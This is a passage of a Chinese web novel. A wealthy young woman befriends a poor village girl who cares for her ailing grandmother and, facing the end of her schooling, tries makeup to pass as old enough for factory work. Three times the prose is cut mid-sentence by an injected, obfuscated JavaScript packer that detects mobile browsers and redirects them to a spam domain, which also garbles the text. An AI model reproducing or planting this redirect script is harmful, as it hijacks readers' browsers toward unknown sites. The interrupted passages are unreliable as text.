她头发没扎,柔顺披散双肩,光泽柔亮,质感上乘,跟屋子里的家具一样看起来很贵。 周灵蕴一双黑眼睛贼溜溜的,姜悯奇怪又好笑,“你老看着我做什么。” 周灵蕴小声“嘿嘿”。 “笑什么。”姜悯坐在单人的沙发位,回盯。 周灵蕴迅速低头,并腿坐得老老实实,不敢多看了。 又人又猫又狗,矛盾却也诡异和谐。姜悯很少用“猥琐”来形容女孩子。 “吃馄饨吧,咋样?”阿姨在厨房门口喊。 姜悯点头答应,阿姨清楚她的饭量,问周灵蕴,“你吃几个。” “平时在家吃几个就说吃几个。”姜悯不给她扭捏的机会。 周灵蕴手指挠挠膝盖,小声报了个数字。 姜悯没听清,“多少?” 周灵蕴脸一下红透,改口说“五个”。 馄饨是阿姨自己包的,冻在冰箱里,她端出来给人看,“你瞅瞅,这么大的能吃几个。” “说实话。”姜悯审犯人的语气。 周灵蕴瞄了一眼,说“二十”。 她很为自己的大胃口感到难为情,姜老板命令的口吻却让她不得不老老实实,自己缩在那琢磨会儿,指着桌上玻璃罐,“你吃这个不。” 姜悯才注意到,视线跟随,“什么?” “我奶奶种的土豆。”周灵蕴把土豆拿出来放在瓶盖,“你想吃不,我给你剥。” 饭前先洗手,周灵蕴根据姜悯指引来到卫生间,短暂个人空间,她深吸一口气,吐出,缓解紧张焦躁。 洗手液认真搓洗手指,她镜里看自己,头发梳理得整齐,衣裳虽没昨天那两件好看,但胜在合身,整体还是很和谐的。 走出卫生间,周灵蕴恢复了一点自信,背挺直,湿润的手心凑到鼻尖,不停嗅,洗手液残余的味道,香香的。 她剥土豆皮的时候,姜悯注意到她指盖下方大大小小数道血痕,没出声,回房在梳妆台拿了支没拆封的护手霜,装在外套口袋。 早上来不及烧火,土豆是昨晚煮的,周灵蕴不觉得吃凉土豆有什么问题,剥好递过去。 学校还没开食堂的时候,她罐子里常常是装着几个头晚煮的土豆红薯当午饭。 那时候她起得更早,出门前必须得煮碗面条吃。从早到晚,直到放学才能回家吃饭,光吃干粮顶不住饿。 凉土豆有些粘牙,姜悯吃得慢,不过味道是很好的,“土豆味儿很足。” 周灵蕴三五口下肚,瞪圆眼,脖子噎出二里地,嘴还不闲着,“土豆还能是啥味儿——” 姜悯给她接了杯水,皱眉看她拍着胸口顺下去,说“感觉胸口有块大石头”。 “没人跟你抢。”姜悯服了。 不过这小孩的饭量确实有吓到她。二十个馄饨不至于吝啬,只是担心她撑坏自己。 碗里还剩两三个,周灵蕴有些舍不得了,刻意放缓速度。 这时,斜下里突然伸过来一只手,从她衣下摆钻入,软软热热的手心贴在她两胸下方中间位置。 “呜”一声,周灵蕴嘴里还含着半坨肉,僵在那。 姜悯跟表姐学的。 小孩不知冷热饥饱,抓到面前,直接掀开衣服,用毛巾擦后背,饭吃到一半,手伸进去摸肚子。 周灵蕴愣愣的,筷子举在半空,“你干嘛摸我肚子。” 姜悯不答,摸到她胃那块是硬的,浅浅一层皮肉下面肋骨条根根分明。太瘦了。 “够不够吃?”姜悯问她。 脸蛋红红,周灵蕴抿着嘴唇使劲摇头。 姜悯把碗里剩的三个挖给她,周灵蕴连碗底葱花都扒得干干净净。 她自觉收拾,站起来说要把碗洗了,姜悯早有所料,“有洗碗机,不用你洗。” 周灵蕴只见过洗衣机,她想象不到,“机器咋洗?那不得把碗都洗坏喽!” 姜悯说“少管”。意识到自己见识有限,周灵蕴不吭声了。 阿姨收走碗筷,姜悯进房间,又不知忙活什么,周灵蕴被留在客厅。 吃饱饭,全身都热起来,舒坦极了,唯一的不自在是肚子那块,周灵蕴左右看看,手伸进去摸,又掀起来弯腰看,好像那块皮肤贴着个什么东西。 她心里有点别扭,但不讨厌。 姜悯从房间里出来,肩上也多了个斜挎的大皮包,她走到门口换鞋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723193|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头看一眼,周灵蕴立即领会,一路跑跳着来到她面前。 周灵蕴说出去玩,就真的只是出去玩,先前的事似乎是忘了。 姜悯没有经历过这种“商务洽谈”,下过雨半干不湿的泥巴路上走,清晨草叶挂的露珠打湿裤腿,渐渐身上起了汗,潮热。 “你要带我去哪里?”姜悯终于忍不住问。 “松林坡。”周灵蕴回头说。 她捡了根树枝,手把着一头,抹干净上边湿漉的尘土,递给姜悯,“给你撑着,前面不太好走。” 头一年火烧过的山坡,今年发出了比人小腿高的野蕨,把路都淹了,周灵蕴站在那,手指虚空点点,“还没人走过。” “松林坡有什么?”姜悯站在她身边,比她高出半个头,看她的睫毛,是现在很流行的婴儿直,密而长。 那个人的睫毛也是很长,但没这么倔,更细更软,眼尾微微带挑。 像,又不像。 “嘘——”周灵蕴手指竖在唇上,“不能说的,让它们听见就躲起来了。” “到底什么。”姜悯受不了别人卖关子。 周灵蕴一只手撑在她肩膀,垫起脚尖,嘴唇贴近她耳廓,“蘑菇!” 女孩湿热的气息像蚂蚁钻进耳朵,姜悯原地打了个激灵。 “蘑菇?”现在这季节有蘑菇吗?姜悯掏掏耳朵。 周灵蕴急得直跺脚,“不能说出来!不能说出来,一说让它们听见就全跑了。” “这么神。”姜悯配合,“我说得小声。” 周灵攒眉蹙额,“它们耳朵很灵的,孢子飘散在空气中,是千里眼,顺风耳。” 姜悯“哦”了声。 一路往前,周灵蕴传授技巧,“松针堆底下鼓包的,大多就是,捡根小树枝,扒拉出来,有了你喊我,我看看是不是能吃的,等见多你自己就能认出来。” 姜悯垂着眼皮听,不时瞭她一眼。只是某些特定的角度相似,脸一动又不像了,她表情变化丰富,心里想什么,面上明明白白显出来,藏不住。 蘑菇倒是有,长在黑乎乎的枯树干上,灰褐色一撮一撮,周灵蕴却摇头,“奶奶说这些不能吃,有毒。” 别的,她说的那种又大又肥的,什么鸡油菌啦,牛肝菌啦,羊肚菌啦,没见着。 快中午,厚重的云层上方太阳白亮一团,周灵蕴垂头丧气,“肯定是被我吓跑了。” 姜悯饶有兴味,抱胸站在一边,这张脸让她难得有耐性。 “然后呢?”玩什么。姜悯不觉厌烦,她的兴趣本来就不在蘑菇,穿林过野虽辛苦,就当泡健身房了。 “我……”周灵蕴苦恼抓脸蛋。 她还不能回家,没到放学时间呢,让奶奶知道她今天没上学,又躺床上把脸冲着墙说“你长大了,主意大了”。 “你想去我家吗?”周灵蕴安排姜悯跟她回家一趟,从厨房偷几个土豆出来,拿去山上找块空地,树枝点火烧着吃。 很原始的儿童游戏。 姜悯手里握一把周灵蕴采来棕榈叶给她编的树叶扇子,扇几下凉风,“你不上学吗?” 周灵蕴蹲在地上,又开始抠鞋带,她声音闷闷的,“我家没有钱让我继续上学了。” 5. 第 5 章 姜悯跟着周灵蕴去了她家。 云岭村的房子建在半山上,比较新一些是混凝土结构,外贴瓷砖,门前水泥坝崭新。旧一些是瓦房,土木结合,分上下两层,一层住人,二层用来堆放杂物或粮食等。 周灵蕴家是后者。 房子坐北朝南,石堡抬高半米多防潮,屋檐下柴堆整整齐齐,盖着半透明的塑料膜,台阶下面水泥坝大块裂痕,但打扫得很干净,只有零星落叶,几只散养的鸡,院里溜溜达达。 “奶奶应该去地里了。”周灵蕴躲在猪圈后面看。 姜悯屏住呼吸,默默忍受。 好在并没有停留太久,周灵蕴通过门前挂的黑色大锁判断出奶奶不在,绕过猪圈。 她的门钥匙用根毛线绳穿着挂在脖子上,抬高下巴,从衣裳里摸出来,开完了锁又塞回去。 姜悯看到她里面穿的一件碎花棉毛衫,露出的小半截脖子跟脸蛋有明显色差。不过她晒黑也好看,精神的,立整。 “欢迎你来我家玩。”周灵蕴作了个请。 堂屋正中靠墙一张方桌,供有家宅六神,墙壁贴了许多集上买的挂画,中国地图、天安门广场、黄果树瀑布,甚至有悉尼歌剧院。 画很旧了,微微翘边泛黄,却一尘不染,角落堆放的杂物也井然有序,房中有檀香味。 姜悯停在几张美艳女明星海报前,这个家审美挺多元的。 “好看吧。”周灵蕴用茶杯给她倒水。 “都是美女。”姜悯接过,里头是茶。 她们这儿的人都爱喝茶,闻着是山上常见那种没名的土茶树,茶水深褐色,跟市面上卖的商品茶不一样,色浓,味更苦。 周灵蕴有自己的专用茶壶,一口掉瓷的白搪瓷缸子,上书“劳动最光荣”。 大半缸茶水下肚,解了渴,她从裤兜里摸出块手绢,擦擦嘴,“奶奶说,美女养眼,经常看美女就会越长越好看。” 姜悯恍然,“怪不得你老看我。” “对啊。”周灵蕴点头,“姜老板长得特别好看,是我长这么大见过最好看的人。” 姜悯忍不住笑了下,嘴怪甜的。想了想,逗她,“跟墙上的女明星相比呢?” “女明星也好看,但我没见过,我的福分就是姜老板了。”周灵蕴打开左耳的房间门。 花言巧语,格外顺耳。姜悯跟着走进去。 房间不大,靠墙一张一米二的小床,铺米白色老布床单,大团粉白牡丹图案,被子叠得整整齐齐,枕头上盖有碎花枕巾。 靠窗是她的书桌,铺块靛蓝桌布,窗帘也是二十年前的样式,半透明,蓝竹叶随风微摆,她用山里捡来的果实做了个风铃,挂在窗口。 姜悯坐在板凳上,周灵蕴的家跟她给人的感觉是相同的。干净,质朴,充满年代感。 嗯,这是一个充满年代感的小孩。 没有手机平板,没有那些二不楞登的网络流行语,懂规矩,讲礼貌,爱笑,也有属于自己的世故,察言观色,谨小慎微。 城里当然不乏乖小孩,但生长环境使然,她们更加精致,因而多了份骄纵。 周灵蕴拿塑料袋捡了几个土豆,家里装辣椒面的玻璃罐子也带上,人前献宝,“辣椒都是奶奶和我一起种的,红透摘下来,晒干,炒熟以后捣碎,加点盐巴味精,还有白芝麻和花生碎,好吃得要命!” 她打开罐子,要姜悯闻,“不骗你。” 姜悯跑出房间,狠狠打了两个喷嚏,她哈哈大笑,“是不是香?” 姜悯把带的礼物拿出来,一套水乳,一只护手霜。 知道她会拒绝,抢在她面前说:“这些快过期了,我用不完,扔掉可惜。” “啊?真的假的?”周灵蕴去看包装,“没啊,还有一年多呢。” 姜悯学小孩夸饰,“我家有一百多瓶。” “那你拿去卖呗。”周灵蕴真心替她着想。 啰嗦。 姜悯说行,“帮我拿下垃圾桶。” 桌边就有一个菜油桶改装的,套着黑色塑料袋,周灵蕴弯腰双手捧到她面前,姜悯假装要把东西扔进去,周灵蕴果然急了,赶紧拦下,“我要!我要!别扔。” 还治不了你?姜悯浅送白眼。她吩咐周灵蕴去洗脸洗手,回来教她怎么用,白天涂哪个,晚上涂哪个,擦手的又是哪个。 “好香。”周灵蕴双手捧着自己的脸。她手指很长,形状漂亮,只是新新旧旧太多疤痕,姜悯问,她一道一道数给人听。 “这个是树枝挂的,这个是刀切的,这个是铁丝划的,这个……我忘了,哈哈。” 姜悯默默听着,看她眉飞色舞,牵扯出疤痕背后的故事,窥探到她生活辛劳的底色。 不一样,她们完全不一样,有相似的脸,却是截然不同的人生遭遇,姜悯很清楚。 那个人好娇气的,也没这么多话,更多时候是耐心聆听的一方。 门上重新挂锁,周灵蕴带着姜悯继续往山上走。 好累,耳边只有自己一下一下重重的心跳声和呼吸声,姜悯后悔跟她出来。 抬头,那张脸冲她笑,伸出手,“我牵着你走呗。”姜悯鬼使神差把手搭上去。 快到山顶,道路开阔些,准许二人并肩,姜悯每次转头,都能收获她一个憨甜的笑。 “我好开心。” 姜悯问因什么开心,周灵蕴说,她好久没出来玩了。 “你不就住山上?”姜悯奇怪。 “要干活。”周灵蕴又掰着手指头数,“打猪草,劈柴,喂鸡喂猪,还要种地,可忙了。” 是了,穷人的孩子早当家。 姜悯免不了落俗,问她:“学习怎么样。” 周灵蕴“哈哈”两声,眼睛笑弯,姜悯还有什么不明白。小孩子是最为自己成绩优异而自豪的,跟卖动物奶油的蛋糕店一样,恨不得把招牌贴脑门上。 到山顶,瞧见那山上有座石砌的小塔,三层高,一侧竖碑,还是个古物,光绪年间的,说是存有某位高僧的舍利。 姜悯绕塔一圈,欣赏,周灵蕴捡来树枝,塔前空地上堆砌,用松树枝点了,土豆丢进去烧。 松枝油大,火焰中噼啪爆响,姜悯意外很喜欢这种植物燃烧时辛辣而醇厚的味道。 火熄,土豆也烧好,扒出来晾晾,周灵蕴直接上手。 扒开焦糊的外皮,里边土豆金黄,蓬蓬直冒白气,姜悯起先拒绝,这种吃法太糙。 却架不住周灵蕴不停往她嘴边送,“你尝尝嘛,尝尝,就一口,真的很好吃。” 最后,两个人蹲在地上,吃得嘴皮猩红,牙缝黢黑。 “锅巴香。”周灵蕴龇个大牙啃,唇周一圈也黑乎乎。 塔边石碑上靠了把竹制的大扫帚,姜悯听周灵蕴说,山下和尚专程留在这儿的。他拦不住野孩子们在塔前烧柴扮家家酒,只盼着她们讲究点卫生,吃饱喝足,洒扫干净。 周灵蕴扫地,姜悯坐在台阶上,“光绪距今有一百多年了,也许和尚很乐意你们在这里做游戏,让他的祖师爷不至于太寂寞。再者,出家人慈悲为怀,大爱无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723194|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疆,有什么不可以呢。” “啊?”周灵蕴抬头,表情呆呆,没有人跟她说过这样的话。虽然这一切只是她们的猜测。 心中涌出一股暖流,她匮乏的词库中翻翻捡捡,“好浪漫啊。” “你也很有趣。”姜悯说。 下午,周灵蕴带姜悯去溪边玩。一汩水从山缝里流出来,沁凉的,后人挖沟掘井,将水储存起来,附近几十户人家都到这里打水。 井边树枝上挂了把红色塑料水瓢,来打水的村民自备水桶,用手提,或是扁担挑,一趟又一趟,不辞辛劳。 周灵蕴说,村里通了自来水,但大家还是觉得井里的水更好,自来水洗衣裳,井水饮用,烧饭。 水从井里流出来,汇成溪,往山下淌,她们蹲在溪边洗干净了嘴和手,找了块草地,躺着休息。 周灵蕴终于开始说自己的事。 要读书的嘛,当然想读书了,人人都知道读书好,可以走出大山,看看外面的世界。 “可奶奶就只能一个人在家了,她每个星期要打一次止痛针,我走了,没人给她打针。” 周灵蕴说着说着,眼泪流出来,在鼻梁那攒着,头一歪,倒进耳朵里。 姜悯抱膝坐在树下,静静看着她。 “我还想找妈妈,虽然她早就不要我了,但也给了我生命,小的时候买过很多衣服,寄钱回来,有一年过年还买了巧克力呢!” 周灵蕴躺在草地上,两手比划,“是金色的包装,有金元宝形状,金币形状,跟别的糖果味道不一样……” 到后来,声音变得很小,自己说给自己听。 没过过好日子,不知道别人怎么过的,不懂比较,哭,只是心里苦,着急,为难。 最后把自己蜷成一团,发出低低呜咽声。 姜悯摘了片草叶,手中随意折玩,没劝也没哄,任她哭。 她帮不了她。 哭累了,眼泪把伤心带走些,周灵蕴拿出手绢擦干净眼泪鼻涕,不好意思笑一下。 “你爸呢。”姜悯问。 周灵蕴爬起来坐好,说“死了”,“奶奶说赔的钱妈拿走一半多,剩的买猪,另给我添置几件新衣裳。” “亲戚朋友呢?”姜悯又问。 周灵蕴摇头,“没亲戚。”从她有记忆,就见过奶奶和妈。 妈也挺多年没见,只有照片,抱着她坐在黄山迎客松下面。可奶奶说那是画,不是真的,照相馆里很多那种风景画。 “害我白高兴,以为真的去过迎客松。” 周灵蕴重新倒下去,太阳好亮,刺得眼皮微微发烫。 她说想快点长大,长到十八岁,能自己拿主意,去厂里打工不会没人要。 姜悯微微张嘴,看来她心里很清楚。 那多余的话就不用讲。 时间接近傍晚,周灵蕴送姜悯下山,她有一块集上奶奶给买的电子表,机器猫图案,她掐算着时间,回到家,正好是平常放学到家的点,奶奶不会疑心。 将要分别,姜悯觉得应该跟她说点什么,比如“好好上学”之类的。可这显然是句废话,难道是她自己不想上学? 于是沉默。 周灵蕴几次张嘴,吐不出话,小小自尊心作祟,也知道希望渺茫。 “我走了。”她摆摆手。 姜悯垂着眼皮站在雕花铁门前,在她转身之际,喊一声,“留下来吃晚饭吧。” 周灵蕴说不了,“奶奶还在家等我。” 再没什么可说的,姜悯目送她走远。 6. 第 6 章 从早到晚,爬坡上坎,汗湿了又干,姜悯很久没这么累过。到家洗了个澡,换上舒适的睡衣躺倒在客厅沙发,双腿还一阵阵发麻。 莫名,她情绪不高,阿姨喊了好几声,没听见,站到她面前伸出个巴掌,“咋啦你?” 姜悯回神,捏捏眉心叹了口气。 阿姨问她今天玩什么了,姜悯从小不是那种会老实报备行程的孩子,她足够自律,旁人督促在她看来是对她的蔑视。 但阿姨用词巧妙,说“玩”。 姜悯简单陈述,阿姨“嚯”一声,“运动量可真够大的,到这个点,饿坏了吧。” 饿。姜悯恍然,“怪不得。” 小孩正在长身体,每天还要走那么远那么陡的山路,“长得面黄肌瘦的。” 阿姨敏锐,“还在想那小孩啊。” 也许是累,姜悯防备松懈,扯来沙发枕垫在脑后,“她长得很像我小时候一个玩伴。” “小时候?”阿姨脸上恶作剧一般的笑,“长大就不好了?” “十五岁那年跳崖自杀了。”姜悯望向她。 反转来得很快,阿姨目瞪口呆,姜悯眼尾稍扬起弧度,一丝恶劣的得逞。 “咋回事,快跟我说说。”阿姨紧揪着围裙边贴着她坐下。 姜悯望向天花板吊顶射灯,没关系的人反而更容易吐露心声。 “挺久的事儿了。那天是她十五岁生日,我们两家约好外出游玩,给她拍照的时候,她当着她家人的面,我家人的面,就在我眼前,跳崖自杀了。” 面带微笑,慷慨赴死,白裙翻卷如蝶。 十年过去,姜悯还有什么不能接受的? 她足够心平气和,“没人知道她当时怎么想的,她的心事从来不跟我讲,我们在一起,都是我说得多。” 后来也说得少了。 阿姨沉默。半天,想起来,胳膊肘捅,“你说像,有照片吗我瞅瞅。” 姜悯摇头,“在家里。” 她现在所在的地方,不过是家人暂定的养老地点之一,没有照片,也没有过去。 “手机上没钱?”阿姨问。 “有。”但姜悯不想拿出来给人看,“别了吧,神经兮兮的。” 阿姨问她从前有没有过类似感觉,姜悯不需要思考,快速答道“没有”,阿姨笃定,“那就是像。” 阿姨说,世上没有血缘关系却长得一模一样的人可多了,尤其是外国人。 为什么是外国人呢?除中国人以外的都是外国人,外国人数量众多,其中部分闲人,整天闲得没事干,到处去搜罗长得一模一样的人。 “最典型,就是那什么迪士尼世界纪录,什么头发留得最长的人,尿尿时间最久的人,一分钟打鸡蛋最多的人……哎呦喂,啥都记录!” 迪士尼世界纪录? 姜悯一时茫然,是她见识少了吗? 阿姨蹙眉沉思几秒,“不对,好像是威尼斯世界纪录。” 姜悯说:“也许,是吉尼斯世界纪录?” 阿姨猛一挥臂,说随便什么事,反正是外国人搞的,中国人没那兴致,中国人总是很忙。 乱七八糟讲一通,没个结论,阿姨起身拍拍屁股说做饭去了。走出几步,掐指回头,“排除投胎转世的可能性,时间对不上。” 什么投胎转世,封建迷信。姜悯回房歇着。 她躺在床上,身体陷入柔软的床垫,翻身偏过脸,屋后靠山,窗外涌进阵阵辛辣而冷冽的草木气息,是跟那小孩走在一起时鼻尖常徘徊的。 奇怪,之前也来过几次,没注意到山的味道这么好闻。 积年累月的腐草落叶、苔藓、干净油亮的叶片,层层叠叠深浅不一的绿,眼睛可以描绘出气味的形状,是一条平静流淌的河。 窗户朝东开扇,下午晒不到太阳,寒意缓慢攀爬上皮肤,扯来薄毯虚盖着半边身体,姜悯不知那小孩到家没,晚饭吃什么,夜里睡在她的小房间会不会觉得冷。 周灵蕴是习惯了的。回家烧火,四片咸肉下两碗稀饭,吃饱上山打草,给猪和鸡准备明天的吃食,给奶奶按背。 奶奶年纪大了,整天不是这里痛,就是那里痛,痛得厉害,说气话,“干脆死了算!” 周灵蕴赶紧把奶奶翻过来哄,“可不能!奶奶死了我怎么办?我真成孤儿了。” 奶奶揪住她问:“一大早出去,天擦黑才回来,干什么去了。” 从满月就抱怀里,一把屎一把尿拉扯大,老话说得,她屁股一撅奶奶就知道要放个什么屁。 周灵蕴自己也不争气,奶奶还没上手段,她先认输,耷拉个脑袋坐在床边,老老实实说去找大老板了,在山上烧洋芋。 “大老板也吃洋芋?”奶奶面露疑惑。 周灵蕴用力点头,“吃了两个,还是大个儿的。” 奶奶年近古稀,发依旧浓密,半花白剪齐脖子长,用黑色的铁发箍整个梳在脑后。她从床头摸了把竹篦子,慢慢刮呀刮,“怎么说的。” “没好意思提。”周灵蕴瘪嘴。 “还去不?”奶奶问。 周灵蕴琢磨会儿,摇头,“不知道。” 是接着上学,先熬到初中毕业,还是继续跟姜老板套近乎? 说她主意大,山里生山里长,每天两点一线除了学校就是家,去过最远最热闹的地方是镇上大集,真没多少见识。 给奶奶打水洗脚,伺候得尽心,周灵蕴床下仰着小脸,那意思说——看吧,我多重要啊,我走了谁来照顾你。 哼。奶奶闭着眼睛不看。 习惯了,也习惯了,一老一小,两个相依为命,想她留在身边,也想她飞得更远。 周灵蕴第二天早上背着书包去上学,老师问昨天怎么没来,她随便扯个由头。来回那么远的山路,没电话,家访够费劲的,还不是她说什么就是什么。 “不要紧吧?”老师照常问一句。 “不要紧。”周灵蕴在位置坐下。 万玉立即挨过来,书本竖挡着脸,问她是不是去茶厂了。 “我妈说看见你跟你奶奶了,茶厂外边。” “人家不要我。”周灵蕴翻开习题册,打算把欠的作业补上,“不满十八岁的不要。” 万玉猜到了,“要不还是跟我去服装厂,那边管得松。” “以后再说吧。”周灵蕴抓抓脑袋,“这题你会不?给我讲讲。” 万玉“啊”一声,“我可不懂。” 她从抽屉里摸出面两元店买的小镜子,“我今天贴假睫毛了,你看出来没?” 万玉最近开始学着画眼线,上眼皮不知用什么笔涂得黢黑一片,睁开,眼褶子摞在一起又瞧不见了。 她今天干脆四周都涂黑,涂成熊猫,说这叫烟熏妆,当下很流行的。 周灵蕴笑出一排白白的小牙。 万玉给她出主意,“化妆显得成熟,真的你别笑,不行你改天化个妆再去试试。” 周灵蕴疯狂摇头,“我不敢。” 从学校到茶厂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723195|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老板家靠山的小别墅不远,走路二十分钟,但周灵蕴之后几天都没再去。 姜悯坐在庭院,捏开香烟过滤嘴里的柑橘爆珠,不点,鼻尖慢慢划过,揉皱了,捏碎了,随手丢在桌面。 阿姨骂她浪费,里头烟丝取出来泡水,装在浇花壶里拿去喷花,说可以杀虫。 姜悯几次抬头望向铁门。 隐隐约约,她闻见股臭,问阿姨,“是什么东西烂掉了?” “你妈的臭豆腐。”阿姨连头也没抬,在浇花,嘀咕说“好多蚜虫”。 姜悯挺背,立即要发怒,反应几秒,重新靠回椅背,“哦——” 她掏出手机打电话,问她妈,“再不回来臭豆腐我给你扔了。” “明天下午。”那边说。 顿了顿,拔高嗓,“香兰啊!香兰,收拾个房间出来!” 姜悯开免提,她妈在电话里香兰香兰个没完,阿姨左“欸”一声,右“欸”一声,“听见了听见了。” “家里要来个小朋友,房间布置得温馨一点哦!”电话里吩咐。 姜悯问“谁啊”,“你的私生子吗?” 那边骂了串脏话,“是你表姐去年领养的那个小姑娘,念念,下半年打算送幼儿园了嘛,有鼻炎,说到这边养养,还要每天带她去爬山,锻炼身体……” 表姐结婚好几年,一直怀不上,两次试管都意外流掉了,身体实在折腾不起,又特别喜欢孩子,跟家里商量,去年在福利院领养了个女孩。 姜悯看过照片,“四岁了吧?真可怜,才四岁就被带出来艰苦地拉练。” 电话里说你懂个屁,“小孩就得糙点养,培养免疫力……” 姜悯习惯性抬杠,但内心其实挺认可她妈的说法。 她见过精细养的,精细到每天袜子的颜色都需要得到长辈支持,像生活在无菌培养皿,结果怎么样,还没到成年就凋谢了。 自然而然,联想到另一个生活得更糙更苦的小孩。 崎岖山路,健步如飞,瘦,但双眸晶润,神采奕奕。 好几天没见了。 这么容易就放弃吗? 难道是太过思念“她”,不会吧,她竟然真的出现在眼前。 露台下面的空地,隔一扇黑色铁门,是出门太着急,还是来路太辛苦?马尾都歪掉,眼眶黑黑像炭描过,脸色惨白,嘴唇却猩红。 姜悯怀疑自己出现幻觉。 她总这样,在双双离开之后,常看到双双坐在花园看书,或是钢琴面前弹奏,回头冲她笑。 只是,过去那么久,再深厚的感情,再浓重的影像,随时间冲洗,也愈发淡了。 姜悯出神之际,阿姨已经走下台阶,拉开铁门把周灵蕴放进去。 阿姨“嚯”一声,“你唱戏呢。” 周灵蕴“嘿嘿”挠头。 “来了来了,可算盼来了。”阿姨把周灵蕴领到姜悯面前。 姜悯抬头,却更加恍惚。 周灵蕴挥手,说“好久不见呀姜老板”,嘴角绽开,脸上簌簌开始掉粉。 姜悯看到她。 今天竟然是化了妆来的,粉底涂得厚厚,脖子细而长,跟脸蛋色差明显,像木筷子上边插了颗白煮蛋。 探身,姜悯双手撑在桌沿,凑近眯眼。 还贴了假睫毛,厚缀在黑黑的眼眶,跟随眼皮上下微动,活似两颗钢丝球成精。 腮红左右不均,嘴巴上漆似的,油亮鲜红。 姜悯本能后仰躲避,“您哪位?” 7. 第 7 章 下午放学,周灵蕴没有立即回家,跟万玉在学校附近她们的秘密基地——林子里那座孤坟。 今天周五,万玉几个镇上的朋友约她明天去县里玩,走十好几里的山路来接,两女一男,正蹲在坟头等。 万玉领着周灵蕴过去,大家都认识,互相打过招呼,万玉请求发廊打工的蛋挞给周灵蕴化个妆。 蛋挞是她们这个小团体里最时尚的人,万玉的烟熏妆就是跟她学的。 “找我就对了,我跟你讲哦,面试一定要打扮成熟,一嘛,是看起来已经打工好几年很有经验的样子,二嘛,样子混的,拽的,外面人就不敢随便欺负你。” 蛋挞穿黑色破洞渔网袜,刘海有一堵承重墙墙那么厚,她嚼着口香糖过来,把周灵蕴按在坟前石凳,随身的斜挎包里一堆零碎掏出来摆上。 周灵蕴抬头,她从没见过蛋挞的真实模样,蛋挞脸上总是带妆,眼眶黑黑的,远看十分高深莫测。 但她今天好像没涂睫毛膏,万玉把自己的递过去,蛋挞摇头,睫毛天生卷翘,像把小扇子刷地过来,刷地过去。她说故意的,这叫纯。 “狠中带纯,纯中带骚,一切不过是我的小把戏,懂?” 周灵蕴似懂非懂,离得近了,看到她乌黑眼珠清透如泉,是躲藏在锋利躯壳下纯粹的率真诚朴。 蛋挞真名叫什么没人知道,“蛋挞”到底是个啥东西,她们也不知道,咸的甜的?电视广告距离现实其中百里青山绵延,目所不及。 只知道是一种零食,可能县城里有卖。 总之,蛋挞见多识广,有正式工作,又时尚好看,请她帮忙准没错。 周灵蕴一直乖乖闭着眼睛,眼线画完其实可以睁开了,蛋挞忘提醒,于是她从头闭到尾。 终于,蛋挞直起腰,说“好了”,周灵蕴睁眼看到镜子里的自己,险些摔个大跟头。 “妖怪!” 万玉和另一个女生都觉得好看,说周灵蕴皮肤好,不长痘,然后开始拉踩,谁谁谁,长一脸骚疙瘩,像月球表面凹凸不平,丑死了。 说完哄笑。 周灵蕴不知道她们说的谁,多数时候不参与讨论,被问起,为了显得合群,僵笑两声,稀里糊涂点头说“我也觉得”。 蛋挞开始给周灵蕴梳头,摘下她朴素的黑色发圈,马尾从后脑正中位置换到一侧,解下自己的豹纹大肠发圈套上去。 “时尚的精髓在于发型,懂?” 周灵蕴伸手摸摸自己的侧马尾,蛋挞围着她转来转去,总觉得还差点意思,弯腰,镜里两张五彩斑斓的脸蛋紧贴着,半晌,蛋挞竖指,“斜刘海!” 洗头小妹终于有机会进阶成发型师,蛋挞拿出剪刀准备大干一场,周灵蕴捂住脑门,“不能剪,奶奶看到要骂的。” 蛋挞遗憾,“那就这样吧。” 几人朝茶厂老板靠山的小别墅进发,途中蛋挞向周灵蕴传授话术,强调重点在于真诚。 “照实说就行,不行我帮你说。” 周灵蕴本来已经放弃,好友热心相助,内心希望重燃,也是不忍拂了大家的意。 作为过来人,蛋挞很清楚她的别扭,说没什么体面不体面的,饿死事大,吃饭要紧,懂? 大家都很穷,明摆着,各家有各家的惨。 蛋挞本是她们几个里面条件最好的,家里开小超市,几年前她爸开车撞到人,家里钱全赔光不算,被撞那人半死不活瘫痪在床,每个月还要支出一大笔营养费。 “上个月干脆搬到家里来住了!一张行军床睡在客厅,每天要喂饭,还给他洗屎洗尿。” 蛋挞说起来就是一肚子气。 周灵蕴“啊”一声,“他家人呢?” “不要他了,残废了嘛,没有用了。我爸说他老婆带着小孩跑了,他爹妈也不想伺候,把人往楼道一丢,叽呱要我们负责,走了。” 蛋挞踢飞路边小石子。 另一个女生叫梦弟,顾名思义啦,家里做梦都想生儿子,连续三个都是女儿,超生到处躲。 